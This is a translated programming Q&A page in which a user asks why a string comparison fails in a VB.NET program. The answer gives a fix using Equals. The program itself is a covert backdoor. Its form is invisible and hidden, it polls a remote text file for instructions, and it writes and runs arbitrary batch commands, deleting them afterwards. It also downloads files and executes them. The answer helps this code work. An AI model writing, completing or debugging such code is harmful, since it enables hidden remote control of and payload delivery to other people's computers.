VB.NET变量检查

这个程序有一个“fl”变量,在特定点,变为文件(0),即读取文件的第一行。 我想在“fl”不等于“file(0)”时运行一些内容。 我在4月1日做这个。 我不是最好的,所以我想早点开始。 (如果你想找到我认为不行的行,则为CTRL + F为THIS_LINE。)

Imports System
Imports System.IO
Imports System.Collections
Public Class Form1

    Private Property fl As String

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Opacity = 0
        start.Enabled = True
    End Sub

    Private Sub start_Tick(sender As Object, e As EventArgs) Handles start.Tick
        main()
        start.Enabled = False
    End Sub

    Private Sub main()
        ' Preparations
        start.Enabled = False
        Me.Hide()
        Dim stopval As Integer = 0
        Dim failcount As Integer = 0
        If Directory.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "hb") = False Then
            My.Computer.FileSystem.CreateDirectory(My.Computer.FileSystem.SpecialDirectories.Temp & "hb")
        End If
        If File.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt") Then
            My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
        End If
        Dim fl As String = "asd"
        ' Actual stuff that needs to happen
        dlfile.Enabled = True
    End Sub

    Private Sub dlfile_Tick(sender As Object, e As EventArgs) Handles dlfile.Tick
        Try
            My.Computer.Network.DownloadFile("http://sth.sth/v.txt", My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
        Catch ex As Exception
            MsgBox("fail")
            Dim asd As Integer = 0
        End Try
        dlsuc()
    End Sub

    Private Sub dlsuc()
        Dim x As Integer = 0
        Threading.Thread.Sleep(3000)
        Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt"
        Dim file As String() = IO.File.ReadAllLines(file_)
        Dim firstline As String = file(0)
        Dim secondline As String = file(1)
        If fl IsNot file(0) Then 'THIS_LINE
            ' Executing the command
            If secondline = "command" Then
                Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat"
                Dim i As Integer
                Dim aryText(3) As String
                aryText(0) = "@echo off"
                aryText(1) = "cls"
                aryText(2) = file(2)
                aryText(3) = "pause"
                Dim objWriter As New System.IO.StreamWriter(file_name)
                For i = 0 To 3
                    objWriter.WriteLine(aryText(i))
                Next
                objWriter.Close()
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                Threading.Thread.Sleep(500)
                Do Until x > 49
                    Try
                        My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                    Catch ex As Exception
                        Dim xyz As String = Nothing
                    End Try
                    x = x + 1
                Loop
            End If
            If secondline = "download" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
            If secondline = "downloadr" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
        End If
        ' After executing the given command
        fl = file(0)
        Threading.Thread.Sleep(500)
        My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
        file_ = Nothing
        file = Nothing
        firstline = Nothing
        secondline = Nothing
    End Sub
    End Class

更新:

另外,你知道为什么不工作? 如果太多,我也可以和他们一起撮合:

    If Not fl.Equals(file(0)) Or Not fl.Equals("000") Then 

    End If

但它不起作用

Private Sub dlsuc()
    Dim x As Integer = 0
    Threading.Thread.Sleep(3000)
    Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt"
    Dim file As String() = IO.File.ReadAllLines(file_)
    Dim firstline As String = file(0)
    Dim secondline As String = file(1)
    If Not fl.Equals(file(0)) Then 'THIS_LINE
        If Not fl = "000" Then
            ' Executing the command
            If secondline = "command" Then
                Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat"
                Dim i As Integer
                Dim aryText(3) As String
                aryText(0) = "@echo off"
                aryText(1) = "cls"
                aryText(2) = file(2)
                aryText(3) = "pause"
                Dim objWriter As New System.IO.StreamWriter(file_name)
                For i = 0 To 3
                    objWriter.WriteLine(aryText(i))
                Next
                objWriter.Close()
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                Threading.Thread.Sleep(500)
                Do Until x > 49
                    Try
                        My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbasdt.bat")
                    Catch ex As Exception
                        Dim xyz As String = Nothing
                    End Try
                    x = x + 1
                Loop
            End If
            If secondline = "download" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
            If secondline = "downloadr" Then
                Dim filename As String = file(3)
                My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
                Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "hb" & filename)
            End If
        End If
    End If
    ' After executing the given command
    fl = file(0)
    Threading.Thread.Sleep(500)
    My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "hbv.txt")
    file_ = Nothing
    file = Nothing
    firstline = Nothing
    secondline = Nothing
End Sub

然后改变这一点

If fl IsNot file(0) Then 'THIS_LINE

If Not fl.Equals(file(0)) Then 'THIS_LINE

边注:

你已宣布fl的两倍,因此如果不是希望改变这种

Dim fl As String = "asd"`

对此

fl = "asd"
链接地址: http://www.djcxy.com/p/52799.html

上一篇: VB.NET variable check

下一篇: Creating parallel tasks, how to limit new task creation?